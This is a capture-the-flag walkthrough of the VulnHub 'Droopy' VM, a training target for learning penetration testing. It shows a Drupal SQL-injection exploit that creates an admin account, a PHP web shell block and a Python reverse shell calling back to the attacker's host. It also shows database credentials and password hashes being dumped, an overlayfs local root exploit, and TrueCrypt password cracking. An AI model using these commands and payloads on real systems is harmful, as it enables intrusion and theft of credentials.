Droopy VulnHub Writeup

  1. Gaining remote code execution
  2. Elevation
  3. Mail
  4. Alternative elevation
  5. Truecrypt
  6. Conclusion

Today I've been playing with Droopy from knightmare. Let's get cracking!

First things first, a quick nmap scan to see what's going down.

# nmap -T4 -A -v -p0-65535 192.168.56.105

Starting Nmap 6.47 ( http://nmap.org ) at 2016-04-18 14:46 EDT
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 14:46
Scanning 192.168.56.105 [1 port]
Completed ARP Ping Scan at 14:46, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:46
Completed Parallel DNS resolution of 1 host. at 14:46, 0.02s elapsed
Initiating SYN Stealth Scan at 14:46
Scanning 192.168.56.105 [65536 ports]
Discovered open port 80/tcp on 192.168.56.105
Completed SYN Stealth Scan at 14:46, 6.05s elapsed (65536 total ports)
Initiating Service scan at 14:46
Scanning 1 service on 192.168.56.105
Completed Service scan at 14:46, 6.03s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.56.105
NSE: Script scanning 192.168.56.105.
Initiating NSE at 14:46
Completed NSE at 14:46, 0.21s elapsed
Nmap scan report for 192.168.56.105
Host is up (0.00040s latency).
Not shown: 65535 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
|_http-generator: Drupal 7 (http://drupal.org)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to La fraude fiscale des grandes soci\xC3\xA9t\xC3\xA9s | La fraud...
MAC Address: 08:00:27:66:07:46 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Uptime guess: 198.047 days (since Sat Oct  3 13:39:25 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 192.168.56.105

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
           Raw packets sent: 65559 (2.885MB) | Rcvd: 65551 (2.623MB)

So we're up against a Drupal installation. I download droopescan and proceed to scan the site.

# droopescan scan drupal -u http://192.168.56.105/
[+] No themes found.                                                            

[+] Possible interesting urls found:
    Default changelog file - http://192.168.56.105/CHANGELOG.txt

[+] Possible version(s):
    7.30

[+] No plugins found.

[+] Scan finished (0:00:03.216198 elapsed)

Ok, nothing very interesting here. I search for vulnerabilities affecting drupal version 7.30, and come across a pre-auth SQLi vulnerability at https://www.exploit-db.com/exploits/34992/. I download the exploit, and fire it off at the target, instructing it to create a user named g0blin, with the password of g0blin. If successful, this user will have administrative privileges, and as such should allow me to elevate to remote code execution on the target.

# python 34992.py -t http://192.168.56.105/ -u g0blin -p g0blin

  ______                          __     _______  _______ _____    
 |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |   
 |.  |   \|   _|  |  |  _  |  _  |  |   |___|   _|___|   |.|   |   
 |.  |    |__| |_____|   __|___._|__|      /   |___(__   `-|.  |   
 |:  1    /          |__|                 |   |  |:  1   | |:  |   
 |::.. . /                                |   |  |::.. . | |::.|   
 `------'                                 `---'  `-------' `---'   
  _______       __     ___       __            __   __             
 |   _   .-----|  |   |   .-----|__.-----.----|  |_|__.-----.-----.
 |   1___|  _  |  |   |.  |     |  |  -__|  __|   _|  |  _  |     |
 |____   |__   |__|   |.  |__|__|  |_____|____|____|__|_____|__|__|
 |:  1   |  |__|      |:  |    |___|                               
 |::.. . |            |::.|                                        
 `-------'            `---'                                        

                                 Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                                              Admin 4cc0unt cr3at0r

              Discovered by:

              Stefan  Horst
                         (CVE-2014-3704)

                           Written by:

                         Claudio Viviani

                      http://www.homelab.it

                         info@homelab.it
                     homelabit@protonmail.ch

                 https://www.facebook.com/homelabit
                   https://twitter.com/homelabit
                 https://plus.google.com/+HomelabIt1/
       https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww


[!] VULNERABLE!

[!] Administrator user created!

[*] Login: g0blin
[*] Pass: g0blin
[*] Url: http://192.168.56.105//?q=node&destination=node

Great! I login with my new user, and am met with the familiar administration bar at the top of the page.

Gaining remote code execution

Now that we have access to the Drupal administration panel, we can gain RCE by enabling the PHP filter module. This will allow us to execute arbitrary code on the site by inserting a specifically crafted string into page content. After enabling the module, I proceed to allow code to be executed by all users under the configuration screen for the module.

Next I create a new block (by going to Blocks, under the Structure menu) with the following content. I make sure to select PHP code from the Text format drop down.

<pre><?php system($_GET['c']) ?></pre>

I then move this block into the header section, to ensure execution. Now I'm able to execute arbitrary commands by visiting a url, such as http://192.168.56.105/?c=ls.

In a new terminal, I execute the following command to start a listener on port 1234.

# ncat -lv 0.0.0.0 1234

Next I visit the URL http://192.168.56.105/?c=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket%28socket.AF_INET,socket.SOCK_STREAM%29;s.connect%28%28%22192.168.56.103%22,1234%29%29;os.dup2%28s.fileno%28%29,0%29;%20os.dup2%28s.fileno%28%29,1%29;%20os.dup2%28s.fileno%28%29,2%29;p=subprocess.call%28[%22/bin/sh%22,%22-i%22]%29;%27, which includes a Python reverse shell. I subsequently receive a connect back on my listener.

Ncat: Connection from 192.168.56.105.
Ncat: Connection from 192.168.56.105:53589.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Elevation

First things first, this limited shell will not do. I use another Python snippet to gain a PTY session.

$ python -c 'import pty; pty.spawn("/bin/bash");'
www-data@droopy:/var/www/html$

Time to start digging.

www-data@droopy:/var/www/html$ ls -lah /home
ls -lah /home
total 12K
drwxr-xr-x  3 root   root   4.0K Dec 11  2014 .
drwxr-xr-x 22 root   root   4.0K Apr 10 12:02 ..
drwxr-xr-x  4 gsuser gsuser 4.0K Apr 10 12:06 gsuser

So we've got a single non-system user, and their home directory is readable.

www-data@droopy:/var/www/html$ cd /home/gsuser
cd /home/gsuser
www-data@droopy:/home/gsuser$ ls -lah
ls -lah
total 32K
drwxr-xr-x 4 gsuser gsuser 4.0K Apr 10 12:06 .
drwxr-xr-x 3 root   root   4.0K Dec 11  2014 ..
-rw-r--r-- 1 gsuser gsuser  220 Dec 11  2014 .bash_logout
-rw-r--r-- 1 gsuser gsuser 3.6K Dec 11  2014 .bashrc
drwx------ 2 gsuser gsuser 4.0K Dec 11  2014 .cache
-rw-r--r-- 1 gsuser gsuser  675 Dec 11  2014 .profile
-rw------- 1 root   root   1.5K Dec 11  2014 .viminfo
drwxrwxr-x 2 gsuser gsuser 4.0K Apr 11 13:13 drupal
www-data@droopy:/home/gsuser$ find . 2>/dev/null
find . 2>/dev/null
.
./.bash_logout
./.cache
./.viminfo
./.bashrc
./.profile
./drupal

Ok, nothing of much use in here. Moving on. I check out the settings.php file for the default Drupal site.

www-data@droopy:/var/www/html$ cat /var/www/html/sites/default/settings.php
cat /var/www/html/sites/default/settings.php
<?php

/**
 * @file
 * Drupal site-specific configuration file.

...snip...

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'nimda',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

We've got a mysql login, but nothing much else. Let's login and see if there's anything else in the DB of interest.

mysql> select name,pass from users;
select name,pass from users;
+-------------+---------------------------------------------------------+
| name        | pass                                                    |
+-------------+---------------------------------------------------------+
|             |                                                         |
| drupaladmin | $S$Ds5SgCrqwrbxJY36HldOHA3C9wWH0W3DXMkHSXBb7SsYVfhhlM7s |
| g0blin      | $S$D/7IodLx9VBLhwIMvRglXjgFRgs8.Bm3H81REuDMJIVKrh5kPQOs |
+-------------+---------------------------------------------------------+
3 rows in set (0.00 sec)

I keep a note of this hash, in case I run out of steam later. Next, I re-visit the gsuser account. I attempt to su to it, using its username as the password (you never know, right?).

www-data@droopy:/home/gsuser$ su gsuser
su gsuser
Password: gsuser

gsuser@droopy:~$ id
id
uid=1000(gsuser) gid=1000(gsuser) groups=1000(gsuser),24(cdrom),30(dip),46(plugdev),110(lpadmin)

Oh..ok then. Now, I don't think this really gets us anywhere, as gsuser can't use sudo at all.

gsuser@droopy:~$ sudo -l
sudo -l
[sudo] password for gsuser: gsuser

Sorry, user gsuser may not run sudo on droopy.

It does however mean we are now able to over-write files in the /var/www/html directory. Useful if we want to gain some level of persistence I guess.

Mail

After a bit more sniffing around, I find that there is a mail directory for the www-data user. This contains a single mail with the following content.

gsuser@droopy:/var/spool/mail$ cat www-data
cat www-data
From Dave <dave@droopy.example.com> Wed Thu 14 Apr 04:34:39 2016
Date: 14 Apr 2016 04:34:39 +0100
From: Dave <dave@droopy.example.com>
Subject: rockyou with a nice hat!
Message-ID: <730262568@example.com>
X-IMAP: 0080081351 0000002016
Status: NN

George,

   I've updated the encrypted file... You didn't leave any
hints for me. The password isn't longer than 11 characters
and anyway, we know what academy we went to, don't you...?

I'm sure you'll figure it out it won't rockyou too much!

If you are still struggling, remember that song by The Jam

Later,
Dave

Encrypted file, hey? I wonder where that could be.

After a while of searching, I get a little tired, and decide to try something else. We've already had one very weak password on the target - can I su to root with the password toor?

gsuser@droopy:~$ su root
su root
Password: toor

root@droopy:/home/gsuser# id
id
uid=0(root) gid=0(root) groups=0(root)

Yes..yes I can.

root@droopy:/home/gsuser# cd
cd
root@droopy:~# ls -lah
ls -lah
total 5.1M
drwx------  3 root root 4.0K Apr 18 21:49 .
drwxr-xr-x 22 root root 4.0K Apr 10 12:02 ..
-rw-------  1 root root   19 Apr 18 21:49 .bash_history
-rw-r--r--  1 root root 3.1K Feb 20  2014 .bashrc
drwx------  2 root root 4.0K Apr 10 12:02 .cache
-rw-r--r--  1 root root 5.0M Apr 12 13:18 dave.tc
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-------  1 root root 3.7K Apr 11 13:11 .viminfo

Ok, so no flag, but a file named dave.tc. That is the encrypted file we're looking for, and it's a Truecrypt archive.

Alternative elevation

So, I felt that my previous method of getting root with the password of toor was a bit weak, so decided to go hunting for other methods. One other method I've come across involves an exploit in the overlayfs filesystem. The code for the exploit can be found at https://www.exploit-db.com/exploits/37292/.

I download the code to the target, compile it and subsequently execute it. I'm then presented with a root shell.

gsuser@droopy:/tmp$ gcc -o ofs ofs.c
gcc -o ofs ofs.c
gsuser@droopy:/tmp$ ./ofs
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),110(lpadmin),1000(gsuser)

Truecrypt

I download the file to my GPU rig (yes, it's Windows - DON'T JUDGE ME!) and proceed to use oclhashcat, with the rockyou wordlist. There was mention to rockyou in the email.

C:\Tools\oclHashcat-2.01>oclHashcat64.exe -m 6221 -a 0 dave.tc rockyou.txt
oclHashcat v2.01 starting...

Device #1: Bonaire, 2048MB, 1050Mhz, 14MCU

Hashes: 1 hashes; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable Optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Kernel ./kernels/4098/m06221.Bonaire_2004.6_2004.6 (VM)_1449318458.ke
rnel (894672 bytes)
Device #1: Kernel ./kernels/4098/amp_a0_v1.Bonaire_2004.6_2004.6 (VM)_1449318458
.kernel (240776 bytes)

Cache-hit dictionary stats rockyou.txt: 139921497 bytes, 14343296 words, 1434329
6 keyspace

[s]tatus [p]ause [r]esume [b]ypass [q]uit =>

dave.tc:etonacademy

Session.Name...: oclHashcat
Status.........: Cracked
Input.Mode.....: File (rockyou.txt)
Hash.Target....: File (dave.tc)
Hash.Type......: TrueCrypt 5.0+ PBKDF2-HMAC-SHA512 + XTS 512 bit
Time.Started...: Mon Apr 18 22:05:20 2016 (8 mins, 57 secs)
Speed.GPU.#1...:    14887 H/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 8246784/14343296 (57.50%)
Rejected.......: 0/8246784 (0.00%)
Restore.Point..: 8243200/14343296 (57.47%)
HWMon.GPU.#1...: 100% Util, 66c Temp, 15% Fan

Started: Mon Apr 18 22:05:20 2016
Stopped: Mon Apr 18 22:14:19 2016

Awesome! There's our key for the truecrypt archive.

After mounting the volume, we find a number of files available to us, including our flag.

root@g0blin:/mnt/tc# find .
.
./panama
./panama/shares.jpg
./.secret
./.secret/.top
./.secret/.top/flag.txt
./.secret/piers.png
./buller
./buller/BullingdonCrest.jpg
./lost+found
root@g0blin:/mnt/tc# cat .secret/.top/flag.txt

################################################################################
#   ___ ___  _  _  ___ ___    _ _____ _   _ _      _ _____ ___ ___  _  _  ___  #
#  / __/ _ \| \| |/ __| _ \  /_\_   _| | | | |    /_\_   _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ |   / / _ \| | | |_| | |__ / _ \| |  | | (_) | .` |\__ \ #
#  \___\___/|_|\_|\___|_|_\/_/ \_\_|  \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
#                                                                              #
################################################################################

Firstly, thanks for trying this VM. If you have rooted it, well done!

Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
                                                                    --knightmare

Conclusion

This was a nice VM - the Truecrypt volume was good, as it forced me to finally spin up my old GPU rig and update the drivers (which were very out of date). Learning how to pop a reverse shell on Drupal was also nice, as it's a platform I've not work with much recently.

All in all, a solid machine. Thanks knightmare, and as always thank you VulnHub for hosting the machine!